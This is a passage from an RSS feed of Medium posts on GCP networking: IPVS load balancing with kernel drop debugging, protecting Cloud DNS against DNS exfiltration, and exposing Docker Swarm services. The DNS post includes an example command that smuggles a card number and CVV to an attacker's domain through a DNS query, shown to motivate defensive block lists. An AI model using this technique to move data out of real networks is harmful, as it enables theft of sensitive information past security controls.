point but, how could I find it out?</p><h4>Debugging the kernel (yep)</h4><p>I know, the idea of debugging the kernel sounded like going down a rabbit hole but at this point I was decided to get to the bottom of this. I considered several tools to do kernel tracing: <a href="https://www.kernel.org/doc/html/v5.10/dev-tools/kgdb.html">Kgdb</a>, <a href="https://sourceware.org/systemtap/">SystemTap</a>, <a href="https://perf.wiki.kernel.org/index.php/Main_Page">perf</a> (that I even slightly tried), <a href="https://ebpf.io/">eBPF</a>. But I wanted to keep it simple and stay focused on the problem.</p><p>Since I wanted to debug the networking stack monitoring packet drops in the kernel without too much hassle, I used <a href="https://github.com/nhorman/dropwatch">Dropwatch</a>. It is a simple interactive utility exactly for that. Using it requires some packages to be installed:</p><pre>sudo apt-get install git libpcap-dev libnl-3-dev libnl-genl-3-dev binutils-dev libreadline6-dev autoconf libtool pkg-config build-essential</pre><p>You will need to clone the repo of the project and compile it:</p><pre>git clone <a href="https://github.com/nhorman/dropwatch">https://github.com/nhorman/dropwatch</a><br>cd dropwatch<br>./autogen.sh<br>./configure<br>make<br>sudo make install</pre><p>When Dropwatch runs and detects a packet drop, it tells you the raw instruction pointer where it happened, but that&#39;s hardly useful. Mapping that instruction pointer to the corresponding function name of the kernel is what I needed, and <a href="https://linux.die.net/man/1/dropwatch">Dropwatch can do that</a> using the kernel&#39;s symbols file <em>kallsyms</em>:</p><pre>sudo dropwatch -l kas</pre><p>I started it to report dropped packets and launched curl in the client machine:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OKl_qelMTY-sPIJ8bOX6Pg.png" /></figure><p>Oh, beautiful, what memories! Function symbols and hexadecimal addresses :) This showed that packet drops were happening at <a href="https://elixir.bootlin.com/linux/v5.10/source/net/ipv4/route.c#L939"><em>ip_error</em></a> function, offset 0x7d. Well, that function is quite short and it was easy to spot the call to <em>kfree_skb</em>, the kernel function that frees socket buffers.</p><p>What is more interesting is ip_error is called in the input path, and the reasons to discard a packet. In particular, it called my attention the case <em>host unreachable</em> that increments the <a href="https://www.kernel.org/doc/html/latest/networking/snmp_counter.html">SNMP counter <em>IpInAddrErrors</em></a>. It deals with the case “The destination IP address is not a local address and IP forwarding is not enabled”. Let’s think on this:</p><ul><li>A reply packet from the real server 10.1.0.50 ➔ 10.1.0.6 is “SNATed” back to 10.1.0.50 ➔ 10.1.0.3</li><li>We would expect that reply packet be handled by IPVS to translate it to the corresponding 10.1.0.6 ➔ 10.1.0.3, but IPVS kicks off in the input path <strong>before</strong> SNAT</li><li>Now the input path needs to handle a packet destined to 10.1.0.3, not this host 10.1.0.6. It can’t so it drops it</li></ul><p>To test my theory I used <em>nstat</em> (netstat is deprecated) while launching curl and observed how the counter was incrementing with every ip_error drop:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TWuIwmcpEYh3pjcKHAhL_A.png" /></figure><p>You may wonder, how do I know IPVS kicks off before SNAT? Looking at the <a href="https://elixir.bootlin.com/linux/v5.10/source/net/netfilter/ipvs/ip_vs_core.c#L2249">sources</a>. And also looking there I found the answer I needed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eGDqLwD0Inc8h8U7LxfSQA.png" /></figure><p>IPVS is hooked in several places (Netfilter hooks), including the FORWARD chain. So what I needed is to reach IPVS there to process the reply instead of dropping the packet, and you guessed how: enabling IP forwarding.</p><h3>Last step</h3><p>Enabling IP forwarding usually means a host will act as a router. I didn’t enable it initially because this was not the case, but anyhow it was needed. Note there is a VM setting in GCP, <em>canIpForward</em>, if you really want that VM to behave as a router but again, this was not the point so no need to set it.</p><pre>sudo sysctl -w net.ipv4.ip_forward=1</pre><p>Finally:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5YpOATi_cOFdddQtpisnIg.png" /></figure><p>\o/</p><h3>Final remarks</h3><p>Wow, this was a tough one. Well, before finalizing a few comments:</p><ul><li>The LVS project is not only made of IPVS, there are more components to create a highly scalable and available cluster of servers, with features like transport-level and application-level load balancing, and cluster management. I only scratched the surface.</li><li>One of those components is Keepalived that provides health checking. If you configure the virtual and real servers through keepalived instead of ipvsadm, the Full NAT solution I explained here will not work. I haven’t investigated why.</li><li>Although I only tested TCP, IPVS supports both TCP and UDP. And UDP support was indeed what motivated this. My customer required to load balance TCP and UDP traffic to on-premises servers from clients in GCP. Our <a href="https://cloud.google.com/load-balancing/docs/internal">Internal TCP/UDP Load Balancing</a> doesn’t support on-premises backends, and the <a href="https://cloud.google.com/load-balancing/docs/tcp/internal-proxy">Internal TCP Proxy Load Balancing</a> supports on-premises backends but not UDP.</li><li>The setup of the test explained is similar to a one-arm model where load balancer, clients and servers share the same network and Full NAT is needed. However, if you wanted to avoid SNAT or required to preserve the client IP it would be possible to create a two-arm setup with multi-nic load balancers.</li><li>In the <a href="http://www.linuxvirtualserver.org/">LVS official page</a> I found (old) news regarding support of Full NAT mode in IPVS starting with Linux kernel 2.6.32. However, I haven&#39;t found any code in recent kernels to prove that support nor the way to configure it.</li></ul><p>I have to say all in all it has been an interesting experience!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1c0a48476c4d" width="1" height="1" alt=""><hr><p><a href="https://medium.com/google-cloud/load-balancing-with-ipvs-1c0a48476c4d">Load balancing with IPVS</a> was originally published in <a href="https://medium.com/google-cloud">Google Cloud - Community</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Protecting from DNS exfiltration in GCP]]></title>
            <link>https://medium.com/google-cloud/protecting-from-dns-exfiltration-in-gcp-3c85d597d6ef?source=rss-af5b8cbda209------2</link>
            <guid isPermaLink="false">https://medium.com/p/3c85d597d6ef</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[network]]></category>
            <category><![CDATA[network-security]]></category>
            <category><![CDATA[google-cloud-platform]]></category>
            <category><![CDATA[dns]]></category>
            <dc:creator><![CDATA[Julio Diez]]></dc:creator>
            <pubDate>Sat, 12 Feb 2022 19:39:56 GMT</pubDate>
            <atom:updated>2022-11-28T16:49:59.355Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JAu4Eo0vpXkBnEyq4oOyHw.png" /></figure><p>DNS is an essential system in every network, it serves as the <em>phone book</em> not only for the Internet but also for private networks. But DNS can also be used as a pathway for data exfiltration. I will show how to configure Cloud DNS in GCP to help protect against these threats.</p><h3>Background on DNS security</h3><p>The basic operation of DNS is simple to understand. You query the IP of a certain service and a name server will resolve it for you. For example, you could query the IP for ‘www.google.com’:</p><pre>$ dig +short <a href="http://www.google.com/">www.google.com</a><br>142.250.185.4</pre><p>Imagine I’m a rogue employee sitting inside a network where I get access to sensitive data like credit card information. I want to exfiltrate it to my own server but usually companies will use firewalls to block connections to unknown sites, or DLP solutions to prevent exfiltration of critical information, or other security solutions. However I don’t need to connect to my server myself. Since DNS traffic is usually allowed, I can use DNS as my exfiltration vector. Let’s see how.</p><p>I could run my own name server for ‘evil-site.com’ with query logging. And from a system inside the network, run:</p><pre>$ dig <strong>cc</strong>4917484589897107<strong>cvv</strong>123.evil-site.com</pre><p>Through a DNS query I’m not connecting directly to my server, it is my company’s DNS resolver who does it, but sending the information I want. Notice that of course the subdomain won’t exist, and I don’t care about the answer, I exfiltrated a <strong>c</strong>redit <strong>c</strong>ard number and its <strong>CVV</strong> to my server!</p><blockquote>The site ‘[www.]evil-site.com’ exists but I don’t own it. It seems to be simply a funny demo site (go and visit it :). I decided to use it because it’s very convenient for testing to really resolve DNS queries, and because the name is catchy.</blockquote><p>Obviously this is a simple example, actual methods are more sophisticated and DNS can be used not only to exfiltrate data but also as a tunneling mechanism, a covert channel to download malware or accept commands from a <em>Command &amp; Control</em> (C2) server.</p><p>There are comercial solutions able to detect and block these threats, offering different features like machine learning technology to detect data in DNS queries. The cost may not fit all budgets, though. Luckily, implementing advanced mechanisms to protect against DNS threats is not always needed. It is common practice to use block lists and allow lists of domains to control your query traffic, and I will show how to do it with Cloud DNS.</p><h3>Cloud DNS operation</h3><p>Cloud DNS is commonly used to resolve private DNS zones deployed in GCP, but it also resolves public zones. The order of evaluation is as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K-YKTLTTgpjYQvywVw6C6A.png" /><figcaption>Cloud DNS resolution order</figcaption></figure><p>This shows a summary of the resolution order, but if you are not familiar with <a href="https://cloud.google.com/dns/docs/zones/zones-overview">Cloud DNS</a> I encourage you to read how it works before continuing reading. You will need it to understand the following sections.</p><blockquote>I will leave out of the discussion outbound server policy since it effectively disables Cloud DNS and is rarely used.</blockquote><p>One note. I will configure block and allow lists with Cloud DNS, but if clients pointed to another resolver like Google’s DNS 8.8.8.8 they would escape our controls. Hence it is important to apply GCP Firewall rules to block all outgoing DNS traffic on port 53, <em>for both UDP and TCP</em>! This doesn’t affect Cloud DNS and will make it the only resolver available.</p><h3>Road closed</h3><p>There are several ways to create block lists to block the road to unwanted DNS queries.</p><h4>Using private zones to block</h4><p>Let’s configure our first block list. It will be very simple, I want to block only one domain, ‘evil-site.com’. It is as simple as creating one private zone for it. It will be empty except for the automatically created NS and SOA records:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/0*qSpb3z_f3128LBAl" /><figcaption>Blocking a site with a private zone</figcaption></figure><p>Now any query to ‘evil-site.com’ or a subdomain of it will be answered by this zone. In particular if I try to exfiltrate data as previously it won’t get passed out of the internal network:</p><pre>$ dig cc4917484589897107cvv123.evil-site.com<br>...<br>;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NXDOMAIN, id: 41420</pre><h4>Using forwarding zones to block</h4><p>If you want to deploy your own server to handle suspicious queries, you can create a forwarding zone instead and forward all those queries to it. Assuming your internal name server is listening on 10.132.0.250:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/515/1*K_Hmh5G5JJZzXeNNT-kljg.png" /><figcaption>Blocking a site with a forwarding zone</figcaption></figure><p>This way, normal DNS traffic will be handled by Cloud DNS efficiently and you will only need to worry about unwanted queries, that should be the exception.</p><p>I don’t recommend you to follow this approach if the server is only meant to log offending queries for later analysis by your SIEM. You can enable Cloud DNS logging and it will give you much more information which you would lose otherwise, like the VM sending the query. For example, with the previous private zone, look at the information you would get:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/507/1*ogx4MXxyAaBr-bHpX6vSuw.png" /><figcaption>Log of a DNS query in Cloud Logging</figcaption></figure><p>You can identify things like the query, the machine sending the query (‘<em>insider</em>’), its source IP, or the project where it lives. And you can send these logs to your SIEM through Pub/Sub if you wish, or trigger a log-based alert via Webhooks or a Slack channel. There are multiple options.</p><h4>Using response policy rules to block</h4><p>We can block unwanted DNS traffic with private or forwarding zones, simply for each bad domain we would need to create a zone. With response policies the mechanism is simpler, and you will get something looking more like a (block) list.</p><p>GCP doesn’t implement the full <a href="https://datatracker.ietf.org/doc/html/draft-vixie-dnsop-dns-rpz">RPZ specification</a>. Basically, a response policy contains rules keyed by DNS names. If rules are hit, they may modify the result of queries or allow them to fall through. I will create a block list with two domains this time, let me show you how this would look like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/449/1*pEioyCw0hlqfblmMqulawQ.png" /><figcaption>Block list with response policy rules</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/0*4N-YgiyB3hiImmUL" /><figcaption>Detail of response policy rules</figcaption></figure><p>I added rules for each zone (and their subdomains with ‘*.’) as CNAME records targeting a blackhole and assigned a bogus IP to it. An A record wouldn’t hit all possible query types but with CNAME I cover all possibilities.</p><p>It is not strictly necessary to create the blackhole record to make the query fail, you could e.g. point it to a honeypot server to eventually capture more information from the attacker.</p><h3>Sorry, you are not on the list</h3><p>Sometimes it is more convenient to create an allow list instead of a block list. Imagine you want to give access only to certain sites like a vendor’s software update system or your container registry, and block everything else. Let’s see how to do it.</p><h4>Using private and forwarding zones to allow</h4><p>First I will create a private zone to block all access specifying ‘.’, the root domain:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/402/0*JC_hkfQxpBlhV6fw" /><figcaption>Blocking all DNS with a private zone</figcaption></figure><p>Now I would add forwarding zones pointing to an external resolver for those sites that I want to allow:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/510/1*S44akC9XOkaoiWDVsPDeeA.png" /><figcaption>Allowing access for a specific site</figcaption></figure><p>The DNS query for ‘gcr.io’ will match against this zone because it’s more specific than the root domain (longest suffix matching). Remember I mentioned you should block access to other resolvers via firewall rules, and that still holds. Here it is not the VM who connects to 8.8.8.8, it is Cloud DNS.</p><h4>Using response policy rules to allow</h4><p>Again with response policies you get something more similar to a list. The following configuration with response policy rules would do it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/463/1*5aIntCnp0dM2SB_44PxMWQ.png" /><figcaption>Allow list with response policy rules</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*OeuFU6KM_XareAj5" /><figcaption>Detail of response policy rules</figcaption></figure><p>As in the example for the block list, I create a blackhole with other rules pointing to it via CNAME. There is a wildcard rule to catch all domains, but because I add a bypass rule for the ‘gcr.io’ domain (allowed site) now the wildcard doesn’t apply for ‘*.gcr.io’ nor ‘*.io’ domains. Hence, at least a rule for ‘*.io’ is needed.</p><h3>Variants of the problem</h3><p>I am sure now you can create by yourself some variations of the solutions I have presented. For example blocking all access to the Internet with a forwarding zone, or adding the use of peering zones for multi-project deployments. But I will describe some less obvious aspects.</p><h4>Google APIs</h4><p>Most GCP services like Cloud Logging, BigQuery or Pub/Sub run in subdomains of ‘googleapis.com’ and blocking them will probably break GCP. These APIs are public, so if your security policies block the Internet you can redirect with CNAME to ‘private.googleapis.com’ instead which enables internal access to most Google APIs and other services. <a href="https://cloud.google.com/vpc/docs/configure-private-google-access">Here</a> you can find more information.</p><h4>Source of the query</h4><p>If you are interested in the VM originating the query so that you can further investigate what’s going on, you can get it from Cloud DNS logging. However, if what you want is to modify a DNS resolution based on the client sending the request, that’s not that easy.</p><ul><li>The granularity of Cloud DNS is the network, so all VMs in a network (or DNS peered to it) will get the same resolution.</li><li>If you forward the query to your own name server, it will see Cloud DNS as source (an IP from the range 35.199.192.0/19.), not the VM.</li><li>We don’t implement the &quot;<a href="https://tools.ietf.org/id/draft-vixie-dnsop-dns-rpz-00.html#client-ip-trigger">Client IP Address</a>&quot; RPZ trigger in a response policy.</li><li>We don’t implement <a href="https://datatracker.ietf.org/doc/html/rfc7871">EDNS Client Subnet</a> (ECS) option in Cloud DNS.</li></ul><p>Implementing the RPZ trigger would allow keeping control in Cloud DNS. With ECS instead, customer’s name servers could enforce this control. Well, cloud is constantly evolving, let’s wait to see ;)</p><h4>DoH, DoT</h4><p>DNS over HTTPS (<a href="https://datatracker.ietf.org/doc/html/rfc8484">DoH</a>) or TLS (<a href="https://datatracker.ietf.org/doc/html/rfc7858">DoT</a>) are two protocols to perform DNS resolutions over an encrypted channel. And this means you also need to worry about them.</p><p>Both protocols use TLS but differently. DoT uses TLS over the TCP port 853. This means it is straightforward to block it if you wish. However, DoH uses the widely used HTTPS protocol on port 443 so it looks like other HTTPS traffic. Let’s see an example:</p><pre>$ curl &#39;<a href="https://dns.google.com/resolve?name=example.com&amp;type=A&#39;">https://dns.google.com/resolve?name=example.com&amp;type=A&#39;</a><br>{&quot;Status&quot;:0,&quot;TC&quot;:false,&quot;RD&quot;:true,&quot;RA&quot;:true,&quot;AD&quot;:true,&quot;CD&quot;:false,&quot;Question&quot;:[{&quot;name&quot;:&quot;example.com.&quot;,&quot;type&quot;:1}],&quot;Answer&quot;:[{&quot;name&quot;:&quot;example.com.&quot;,&quot;type&quot;:1,&quot;TTL&quot;:20661,&quot;data&quot;:&quot;93.184.216.34&quot;}]}</pre><p>Be aware that in this case blocking DNS resolution of e.g. ‘dns.google.com’ wouldn’t solve the problem. The exfiltration doesn’t happen at that step, an attacker can simply rely on the IP of the service (like 8.8.8.8) to initiate a HTTPS connection that would look like normal web traffic. So basically this translates a DNS security problem to a web security problem. Assuming you are already protecting web traffic, you should incorporate this to your detection logic.</p><h4>Feeds</h4><p>The managed zones, records and rules can all be created through APIs. It would be very convenient to directly feed Cloud DNS from a domains text file and keep any changes updated every few minutes. However there is no built-in mechanism to feed DNS. This would be an interesting feature to have.</p><h3>Conclusion</h3><p>DNS exfiltration techniques represent real threats for organizations. With the explained methods, you can start using Cloud DNS in GCP to help protect against these threats and improve your security posture.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3c85d597d6ef" width="1" height="1" alt=""><hr><p><a href="https://medium.com/google-cloud/protecting-from-dns-exfiltration-in-gcp-3c85d597d6ef">Protecting from DNS exfiltration in GCP</a> was originally published in <a href="https://medium.com/google-cloud">Google Cloud - Community</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Docker Swarm services in GCP]]></title>
            <link>https://medium.com/google-cloud/docker-swarm-services-in-gcp-edcaa14913f8?source=rss-af5b8cbda209------2</link>
            <guid isPermaLink="false">https://medium.com/p/edcaa14913f8</guid>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[google-cloud-platform]]></category>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[docker-swarm]]></category>
            <category><![CDATA[cloud]]></category>
            <dc:creator><![CDATA[Julio Diez]]></dc:creator>
            <pubDate>Mon, 24 Jan 2022 08:54:53 GMT</pubDate>
            <atom:updated>2022-01-30T10:10:47.688Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*gDyetMfzObOMZTDiu9N8uA.png" /></figure><p>In this article I describe how to expose services from a Docker Swarm cluster when running in GCP. I also analyze some differences between Docker Swarm and GKE on this aspect.</p><h3>Background</h3><p>Docker Swarm is a container orchestration system to manage multiple containers deployed across multiple hosts. Probably, this definition brings the very popular Kubernetes to the reader&#39;s mind. There&#39;s a battle between Swarm and Kubernetes, Swarm <a href="https://www.mirantis.com/cloud-native-concepts/understanding-docker-swarm/what-is-docker-swarm/#section-3">claims to be simpler</a> to use and Kubernetes more powerful, but I won&#39;t get into this war.</p><p>Nowadays Kubernetes or any of its flavors (like <a href="https://cloud.google.com/kubernetes-engine"><em>Google Kubernetes Engine</em></a><em> -</em> GKE - in GCP) seem to dominate the cloud, but the fact is that Docker Swarm is still in use by many companies. And when moving their workloads to cloud, not everyone moves from their chosen orchestration platform. So I think it&#39;s useful knowing how to run Docker Swarm services in GCP.</p><p>I will focus mainly on the networking part. When I looked at how to reach containers in Swarm I realized its networking uses a different approach to GKE that I&#39;m more used to. GKE clusters are first-class citizens in GCP so containers and services integrate very well. With Docker Swarm a bit more work is needed as you will see. No fear, I won&#39;t get into all the details, only the minimum needed.</p><p>But before continuing, a few words about the term &quot;<em>service</em>&quot;. A <em>Kubernetes service</em> refers to a network construct that abstracts and exposes a set of pods/containers. For example, <em>Load Balancer</em> is a type of service. This is the meaning I usually refer to. In contrast, a Docker Swarm <em>service</em> is a container and all its configuration to run it, as the number of replicas. I hope it will be clear from the context what I am referring to.</p><h3>Overlays</h3><p>Docker has three fundamental types of networks: <strong><em>bridge</em></strong>, <strong><em>host</em></strong> and <strong><em>none</em></strong>. I will only describe the first one. Basically, the <em>bridge</em> network is a private, internal network on the host, where typically containers run. If a container needs to be accessible externally, its port can be <em>published</em> (--publish flag) on the Docker host.</p><p>The bridge network is implemented in Linux with a virtual bridge device, <em>docker0</em>, and pairs of <em>veth</em> (virtual Ethernet) devices for containers. In general, this is similar to what Kubernetes does, though implementations may vary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/468/1*_Wc6EejCI_Kh1_gB_ONMzA.png" /></figure><p>In this setup, containers in a host can communicate to each other. However, when you have a cluster made of multiple hosts, containers across hosts have no way to communicate and this is when you may want to use Docker Swarm. It enables communication between Docker services (remember, Docker service = container) across worker nodes using <strong><em>overlay networks</em></strong>. An overlay network is a network built on top of another network, and what it allows is to have systems as if they were directly connected when they are not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*ZtMdojsd7uEDde3gc77oiA.png" /></figure><p>When you initialize the swarm, an overlay network named <em>ingress</em> (among other components) is created for you. It spans across all worker nodes, allowing communication between containers and making them externally accessible if you publish them, also providing an internal load balancing mechanism. The way this load balancing works is that a request can be received on any node of the cluster and it will forward it to any of the container instances running on any node.</p><p>This load balancing part sounds similar to the <a href="https://kubernetes.io/docs/concepts/services-networking/service/#type-nodeport"><em>NodePort service</em></a> of Kubernetes. And that being part of Kubernetes you may expect it to work for GKE too. Well, there are some differences but for sure it does, however GKE has better ways to do load balancing especially to expose HTTP services. And this is where differences become key. I will emphasize here the two more relevant for our purposes.</p><p>First, as I mentioned Swarm uses an overlay, in particular a VXLAN network. It means Ethernet frames sent by a container get encapsulated within UDP packets before being sent out of the Docker host. As a result, container IPs are not seen out of the host, only in the internal overlay network. In contrast, GKE can use <a href="https://cloud.google.com/blog/products/networking/understanding-native-container-routing-with-alias-ips"><em>Alias IPs</em></a><em> </em>which allows to configure secondary IPs on the VMs running containers and natively route traffic to them. This enables a more efficient load balancing where an external load balancer can target not the nodes but the specific containers (pods) that provide the service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*81_qUS61Mk2o-36KZPUpUA.png" /></figure><p>The figure above shows two GKE clusters configured differently:</p><ul><li>On the left hand side, with a typical Kubernetes deployment, the pods use the NodePort service so the load balancer distributes traffic to the nodes and a second layer of load balancing forwards it to a container that may be in the same node or not. Usually it won&#39;t be, adding latency especially since nodes can be in different cloud zones.</li><li>On the right, there is a GKE cluster using Alias IPs and <a href="https://cloud.google.com/load-balancing/docs/negs"><em>Network Endpoint Groups</em></a><em>. </em>The load balancer targets the pod endpoints directly instead of the nodes, avoiding multiple hops.</li></ul><p>Second difference, even if Docker Swarm wanted to use a routing network model instead of an encapsulated network model, the assignment of IPs to containers is sequential with the containers deployed, not with the nodes. Alias IP, and a routing network model, needs to know which IP subranges will be assigned to the nodes.</p><p>In short, with Docker Swarm we will need to use a similar setup to that on the left where the backends are the nodes.</p><h3>A practical case</h3><p>Let&#39;s deploy a scenario to put things in practice. This scenario will consist of some HTTP services running on Docker Swarm services/containers.</p><h4>A swarm</h4><p>I will use three Docker hosts, one manager and two workers. You can get Docker on your Linux machines following installation instructions like <a href="https://docs.docker.com/engine/install/debian/">these</a>, or simply typing:</p><pre>$ curl -fsSL https://get.docker.com -o get-docker.sh<br>$ sudo sh get-docker.sh</pre><p>On the manager host, initialize the swarm:</p><pre>manager:~$ sudo docker swarm init<br>...<br>    docker swarm join --token &lt;xxxxx&gt; 10.132.0.2:2377<br>...</pre><p>The output of the command tells you how to add a worker to the swarm, using a security token and pointing to the IP address of the manager and port 2377 used for cluster management. Paste that line verbatim in the other hosts to join them as workers:</p><pre>worker1:~$ sudo docker swarm join --token &lt;xxxxx&gt; 10.132.0.2:2377</pre><pre>worker2:~$ sudo docker swarm join --token &lt;xxxxx&gt; 10.132.0.2:2377</pre><h4>Some services</h4><p>I will deploy several replicas of a simple web server app listening on port 8080:</p><pre>manager:~$ sudo docker service create --name my-web --replicas 3 -p 8080:8080 gcr.io/google-samples/hello-app:1.0</pre><p>You can deploy a client VM in the same network to test access to this web server. My nodes have IPs from 10.132.0.2 to .4, so any of those should now respond on port 8080:</p><pre>client:~$ watch -tn1 curl -s 10.132.0.3:8080</pre><p>If you look for some seconds you will see the different containers responding, you can tell it from the hostname:</p><pre>Hello, world!<br>Version: 1.0.0<br>Hostname: 78f61208d8c3</pre><p>Next I will deploy another similar web server, the version 2. The containers will also listen on port 8080, but since we can&#39;t map again to that port on the nodes now I will use 8081:</p><pre>manager:~$ sudo docker service create --name my-web-v2 --replicas 3 -p 8081:8080 gcr.io/google-samples/hello-app:2.0</pre><pre>client:~$ watch -tn1 curl -s 10.132.0.2:8081<br>Hello, world!<br>Version: 2.0.0<br>Hostname: 1ba54c792d62</pre><p>Now that we have several containers deployed, if you look into the details of the ingress overlay network you can see the IPs assigned to them. Regretfully, it seems you need to go node by node since every node will show you only the containers running on it (or at least I don&#39;t know a better way):</p><pre>manager:~$ sudo docker network inspect ingress<br>...<br>  &quot;Containers&quot;: {<br>    &quot;1ba54c...&quot;: {<br>      &quot;Name&quot;: &quot;my-web-v2.3.ngz...&quot;,<br>      &quot;IPv4Address&quot;: &quot;10.0.0.29/24&quot;,<br>    },<br>    &quot;a8cbe5...&quot;: {<br>      &quot;Name&quot;: &quot;my-web.3.5x2...&quot;,<br>      &quot;IPv4Address&quot;: &quot;10.0.0.25/24&quot;,</pre><pre>worker1:~$ sudo docker network inspect ingress<br>...<br>      &quot;IPv4Address&quot;: &quot;10.0.0.27/24&quot;,<br>      ...<br>      &quot;IPv4Address&quot;: &quot;10.0.0.23/24&quot;,</pre><pre>worker2:~$ sudo docker network inspect ingress<br>...<br>      &quot;IPv4Address&quot;: &quot;10.0.0.28/24&quot;,<br>      ...<br>      &quot;IPv4Address&quot;: &quot;10.0.0.24/24&quot;,</pre><p>As I mentioned, Docker Swarm doesn&#39;t pre-allocate IP subranges for containers in a node and the resulting IP assignment is not sequential.</p><h4>A VIP to rule them all</h4><p>Accessing the node IPs is not very convenient, nor is it to specify in the request whatever ports services are published on. Let&#39;s deploy an <a href="https://cloud.google.com/load-balancing/docs/l7-internal"><em>internal HTTP(S) Load Balancer</em></a> to offer a single <em>VIP:port</em> to access the services. I will draw here the architecture and let the reader do it themselves.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/413/1*DankULzzG28bF2BKYFhUpw.png" /></figure><p>I put the Docker VMs as members of an <a href="https://cloud.google.com/compute/docs/instance-groups"><em>unmanaged instance group</em></a>, and this group as backend of the two backend services. Members are identified by their VM names, not by IP, so <em>deploying the cluster in GCP doesn&#39;t require you to track your worker IPs!</em></p><p>The instance group has two <a href="https://cloud.google.com/load-balancing/docs/backend-service#named_ports"><em>named ports</em></a>, &#39;<em>webv1:8080&#39;</em> and &#39;<em>webv2:8081&#39;</em>, and the LB&#39;s URL map routes requests to &#39;<em>svc1.example.com&#39;</em> and &#39;<em>svc2.example.com&#39;</em> to the backend services. <em>We have hidden the ports from the users!</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*svlfqMHKLLWW0BwlAlxorA.png" /></figure><p>Finally, I configured Cloud DNS to point these domains to the LB VIP. We can test it works from the client VM:</p><pre>client:~$ watch -tn1 curl -s svc1.example.com<br>Hello, world!<br>Version: 1.0.0<br>Hostname: a8cbe5510a9c<br>...<br>client:~$ watch -tn1 curl -s svc2.example.com<br>Hello, world!<br>Version: 2.0.0<br>Hostname: 399d05d4d0ef</pre><p>Hurray!</p><h3>Final notes</h3><p>There are some things I haven’t address but that I want to mention even if briefly:</p><ul><li><strong>Health check:</strong> the health check mechanism is not optimal on this deployment. As a result of the double load balancing involved, a health check probe will not check the service&#39;s health on the instance, in general. I&#39;d suggest to deploy a simple daemon on each node to check the instance&#39;s health instead.</li><li><strong>TCP/UDP services:</strong> you can use the same instance group as backend of multiple backend services, including that of a TCP/UDP load balancer.</li><li><strong>Adding new services:</strong> if after the first deployment a new service comes up, you can create all the pieces needed and <em>update the named ports</em> of the instance group if required. Be aware that updating will substitute content, so your list of named ports should include existing and new ones.</li><li><strong>Node auto-scaling:</strong> Docker Swarm doesn&#39;t support auto-scaling out of the box. You could leverage <em>managed instance groups</em> to automatically create new worker nodes based on parameters like CPU utilization, and join them to the cluster with docker swarm joinwhen booting. In this case, you should pay even more attention to the health check topic, since instances deemed unhealthy would be recreated.</li></ul><h3>Conclusion</h3><p>Running Docker Swarm in GCP brings some very good advantages. It is not as smooth as running GKE, but not that complicated either, and it&#39;s an opportunity to quickly lift-and-shift your docker workloads to cloud. Of course, I would suggest you to take a look to GKE to see if it fits better your use case ;)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=edcaa14913f8" width="1" height="1" alt=""><hr><p><a href="https://medium.com/google-cloud/docker-swarm-services-in-gcp-edcaa14913f8">Docker Swarm services in GCP</a> was originally published in <a href="https://medium.com/google-cloud">Google Cloud - Community</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exposing the client behind PSC]]></title>
            <link>https://medium.com/google-cloud/exposing-the-client-behind-psc-2471a851ae23?source=rss-af5b8cbda209------2</link>
            <guid isPermaLink="false">https://medium.com/p/2471a851ae23</guid>
            <category><![CDATA[google-cloud-platform]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[infrastructure]]></category>
            <category><![CDATA[cloud]]></category>
            <dc:creator><![CDATA[Julio Diez]]></dc:creator>
            <pubDate>Tue, 16 Nov 2021 18:48:58 GMT</pubDate>
            <atom:updated>2021-12-20T19:51:25.642Z</atom:updated>
